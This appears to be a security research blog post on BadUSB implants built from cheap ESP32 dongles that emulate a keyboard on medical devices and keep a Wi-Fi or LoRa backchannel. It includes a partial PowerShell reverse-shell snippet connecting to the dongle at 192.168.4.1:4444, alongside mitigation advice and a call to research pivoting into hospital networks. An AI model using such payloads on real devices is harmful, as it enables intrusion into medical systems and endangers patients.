Popping Shells on Medical Devices with $10 Hardware

TLDR: This research demonstrates how to use low-cost ESP32-based hardware to execute BadUSB attacks against medical devices that lack USB authentication. By emulating a HID keyboard and establishing a persistent Wi-Fi or LoRa backchannel, an attacker can gain remote shell access to systems that are often assumed to be air-gapped or physically secure. Security teams should prioritize disabling unused USB ports and implementing strict authentication for any peripheral interaction to mitigate this class of physical-to-remote compromise.

Medical devices are often treated as black boxes by both manufacturers and hospital IT staff. The prevailing assumption is that because these devices are physically isolated or sit on restricted networks, they are inherently secure. This is a dangerous misconception. Many of these systems rely on standard, off-the-shelf operating systems like Windows or Linux to drive their user interfaces, yet they lack the basic endpoint security controls found on a standard office workstation. When you combine this lack of hardening with the fact that most of these devices have exposed USB ports, you have a massive, overlooked attack surface.

The Mechanics of the Attack

The core of this research centers on the BadUSB concept, where a device masquerades as a trusted Human Interface Device (HID) to inject malicious commands. While this technique is well-known, the innovation here is the use of extremely cheap, readily available hardware like the T-Dongle S3 to create a persistent, remote-controlled implant.

The attack flow is straightforward but effective. You plug the dongle into an available USB port on the target medical device. The device immediately enumerates as a keyboard. Because the target operating system has no mechanism to verify the identity of the keyboard, it accepts the input. The dongle then executes a pre-programmed payload, typically a PowerShell script on Windows systems, which opens a hidden, persistent shell.

# Example payload to initiate a reverse connection
$client = New-Object System.Net.Sockets.TCPClient('192.168.4.1', 4444);
$stream = $client.GetStream();
$writer = New-Object System.IO.StreamWriter($stream);
$reader = New-Object System.IO.StreamReader($stream);

Once the payload executes, the dongle switches roles. It hosts its own Wi-Fi access point or uses a LoRa radio to maintain a long-range, out-of-band connection. The attacker connects to this network from a safe distance, telnets into the device, and gains full command-line access. This effectively turns a physical-access-only vulnerability into a remote exploitation vector.

Why This Matters for Pentesters

During a physical penetration test or a red team engagement, you often find yourself in environments where you cannot easily drop a traditional network implant. Medical facilities are prime examples. You might have access to a patient room or a lab, but you cannot touch the internal network infrastructure.

This technique is a game-changer because it bypasses the need for network-level access. You are not trying to exploit a service running on the network; you are interacting with the device at the hardware level. If you can get five minutes of physical access to a device, you can install a persistent backdoor that allows you to return later, or even operate from a different room. The use of LoRa is particularly interesting for researchers because it allows for communication over distances that Wi-Fi cannot reach, potentially allowing an attacker to maintain a connection from outside the building.

The Reality of Embedded Security

The most frustrating part of this research is how simple the defense should be. Many of these medical devices are running full-blown versions of Windows or Linux, yet they are configured with default settings that allow any USB device to be mounted and used as an input device.

If you are auditing these systems, start by checking the USB policy. If the device does not need to accept new peripherals, the USB ports should be physically blocked or disabled at the kernel level. Furthermore, any system that allows USB interaction should require explicit authentication before it mounts a new device. This is a classic case of Identification and Authentication Failures, where the system trusts the hardware simply because it is plugged in.

Moving Beyond the Demo

The research presented here is not just a theoretical exercise; it is a wake-up call for anyone working in the medical device security space. The tools, such as the RadioJack firmware, are open-source and demonstrate that you do not need a massive budget or specialized equipment to compromise high-value targets.

If you are a researcher, look at the devices in your own lab. Are they running an OS that you recognize? Do they have an exposed USB port? If the answer to both is yes, you likely have a device that is vulnerable to this exact type of attack. The next step for the community is to move beyond simple shell execution and start investigating how to use these implants to pivot into the wider hospital network, or how to interact with the proprietary medical software running on the embedded controllers. The hardware is cheap, the technique is proven, and the window of opportunity for defenders to lock down these systems is closing fast.